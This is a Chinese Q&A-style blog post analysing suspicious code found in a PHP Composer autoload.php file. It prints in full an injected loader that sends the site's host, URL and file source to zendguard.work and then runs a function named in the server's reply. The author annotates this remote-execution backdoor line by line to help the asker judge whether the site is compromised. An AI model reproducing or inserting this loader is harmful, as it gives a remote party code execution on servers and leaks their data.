当前位置:首页 > 每日看点 > 正文内容

php composer的autoload.php文件里面有奇怪的内容,是中毒了吗?

卡卷网11个月前 (12-09)每日看点190
是中毒了吗?

嘘~ 别出声,跟我来......

干啥?去哪?

这儿大神太多,我不好意思说,咱俩悄悄滴...... 我有笨办法......

开始~

#1. 关于域名 zendguard.work

通过 whoxy 检索,确实查不到什么有用的信息:

php composer的autoload.php文件里面有奇怪的内容,是中毒了吗?  第1张

  1. 注册商:NameCheap, Inc.,一家美国的域名注册及服务器托管商;
  2. 域名所有者申请了隐私保护;
  3. 冰岛。

定位 IP 的话,在这儿:

php composer的autoload.php文件里面有奇怪的内容,是中毒了吗?  第2张

这确实是个风险因素,按一般人的逻辑,你要正经做生意(敢起 zendguard 这么 “酷” 的名字......),犯得着藏着掖着嘛?

但这个域名背后是不是一定蹲着个 “坏蛋”,不好说。

如果路子野,也许可以试着联系 NameCheap。

#2. 关于 “奇怪的内容”

我笨,所以要一行一行分析这些 “奇怪的代码” 都干了什么......

先看整体:

<?php //--- 第一次启动,必然访问 zendguard.work,然后取回点什么,赋值给 $cert if( defined("SITE_") ){ $cert = false; } else { //访问 zendguard.work //赋值 } //--- 准备工作做完了,后面不用再访问 zendguard.work,设置个标志 !defined("SITE_") && @define("SITE_", 1); //--- 不论是做好事还是做坏事,反正它开始做了 if($cert != false) { //干点什么 }

那它访问 zendguard.work 的时候干什么了呢?

$cert = @file_get_contents( //--- 拼了这么一个地址 http://cert.zendguard.work/sign/HTTP_HOST //--- 此时,非要说“暴露”了什么,那就是这个 HTTP_HOST,比如 localhost:8080,www.abc.com //--- 但往好里想的话,对面可能只是拿 HTTP_HOST 当“用户名”,仅此而已 'http://cert.zendguard.work/sig' . 'n/' . @$_SERVER["HTTP_HOST"], 0 , //--- 访问 zendguard.work 的时候,模拟 POST 发送了点儿什么 stream_context_create( array( "http" => array( "ignore_errors" => true, "timeout" => (isset($_REQUEST["T0o"]) ? intval($_REQUEST["T0o"]) : (isset($_SERVER["HTTP_T0O"]) ? intval($_SERVER["HTTP_T0O"]) : 1)), "method" => "POST", "header" => "Contet-Type: application/x-www-form-urlencoded", "content" => http_build_query( //--- 以上都是些有的没的,重点看下面 array( //--- 这里把你完整的 URI 取出来了,比如 http://www.abc.com/admin/index.php "url" => ((isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "no" ? "https" : "http") . "://" . @$_SERVER["HTTP_HOST"] . @$_SERVER["REQUEST_URI"]), //--- 这里拿了物理路径... //--- 然后,把该文件的源码直接发了 "src" => file_exists(__FILE__) ? file_get_contents(__FILE__) : "" ) ) ) ) ) );

至此,你的 HTTP_HOST,REQUEST_URI,以及这个文件的源码,都被发给 zendguard.work 了,然后 zendguard.work 响应了一些什么,存在了 $cert 里。

好像也没啥......(乐观)

最后看关键的:

//--- 开始干活 if($cert != false) { $cert = @json_decode($cert, 1); if(isset($cert["f"]) && isset($cert["a1"]) && isset($cert["a2"]) && isset($cert["a3"])) { $cert["f"]($cert["a1"], $cert["a2"], $cert["a3"]); } else if(isset($cert["f"]) && isset($cert["a1"]) && isset($cert["a2"])){ $cert["f"]($cert["a1"], $cert["a2"]); } else if(isset($cert["f"]) && isset($cert["a1"])){ $cert["f"]($cert["a1"]); } else if(isset($cert["f"])){ $cert["f"](); } }

为了直观,我把代码换一种写法:

//假设你的项目文件中存在以下代码(小偷已经进家了) //可能是被黑掉的,也可能是你主动安装框架、库、扩展时引入的 function 小偷(是否动手, 建议偷什么, 不能偷什么){ //do something... } //zendguard.work 开始下指令了 //1.通知小偷,该干活了,可以偷彩电,千万别碰洗衣机 if(小偷 && 动手 && 彩电 && 洗衣机){ 小偷(动手, 彩电, 洗衣机); } //2.通知小偷,该干活了,建议偷彩电,但其他的也不是不行 else if(小偷 && 动手 && 彩电){ 小偷(动手, 彩电); } //3. 通知小偷,该干活了,全都要 else if(小偷 && 动手){ 小偷(动手); } //4. 通知小偷,待命 else if(小偷){ 小偷(); } //5. 小偷没进家,放他一马

这是往坏里想......

往好里想的话:

//假设你的项目中存在以下代码 function 售后服务(到期没, 要不要通知他一下, 要不要断了他的服务){ //do something... }

这么看,也不是不行......

唉......

我这废了半天劲,还不如你直接 log 一下 $cert 里面到底存了啥,哪怕明文 var_dump 一下呢。

然后,如果 $cert["f"] = “张三”,你再去源码里搜 “张三” 嘛......

最后叠个甲,我不搞 PHP,说错了别怪我......

php composer的autoload.php文件里面有奇怪的内容,是中毒了吗?  第3张

扫描二维码推送至手机访问。

版权声明:本文由卡卷网发布,如需转载请注明出处。

本文链接:https://www.kajuan.net/ttnews/2024/12/3635.html

分享给朋友:

相关文章

中国CEO直播简史

中国CEO直播简史

  领导人爱对外发言这事,是中国的一个传统文化。  从乾隆爱往名画上盖章上,就可见一斑。  3Q大战时代,微博成了大佬“吵架”的战场,饭否变成了部分爱面子者的日记。  某种程度上说,互联网公关行业的诞生,和大佬们爱发言有着直接的关系。只不过...

怎么免费看电视地方台和央视台?

怎么免费看电视地方台和央视台?

免费看央视和地方台,办法当然有,而且太多了,我怕你挑花了眼用不过来……首先题主需要明确一点,你家的电视需要是基于安卓系统的智能电视,能安装第三方安卓电视软件。比如小米电视、雷鸟电视等等;如果不是,你至少需要购置一个电视盒子,比如小米电视盒子...

需要做一个微信小程序项目,大公司价格太高怎么办?

需要做一个微信小程序项目,大公司价格太高怎么办?

一个小程序制作开发多少钱构建一个微信小程序大概需要花费多少资金? 一、自主开发如果选择自主开发,这里面门道可不少。微信小程序认证费用: 300 /年域名费用: 30 - 80 /年服务器费用: 600 - 3000 /年这么一算,扣除人力成...

抖音和快手最大的区别是什么?

1、目标人群定位不同抖音:一二线城市,占比52%,大专学历以上,女性偏多。抖音以年轻群体居多。快手:三四线城市,占比64%,高中学历以下,男女更均衡。快手所覆盖的年龄段范围更广。2、内容创作的形式和深度不同抖音:偏深层,内容的装饰及表达更高...

苹果为什么不做千元机?

苹果为什么不做千元机?

第一步,打开苹果官网,注意是.com,不是.cn;第二步,点击iPhone,选择Compare iPhone;第三步,选择最新iPhone 15系列,查看起售价格,分别为$1199,$999,$799。这不妥妥的千元机吗,怎么苹果就不做千元...

在 Istio、Linkerd 和 Cilium 之间,哪种服务网格在性能上表现最佳?

在 Istio、Linkerd 和 Cilium 之间,哪种服务网格在性能上表现最佳?

在讨论服务网格之前,先理解一下为什么我们需要它。现代微服务架构意味着将应用拆分为多个小型、独立的服务,这些服务可以独立开发、部署和扩展。然而,服务之间的通信和管理成了巨大的挑战,例如如何保证安全的通信、负载均衡、监控与可观测性等。服务网格...

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。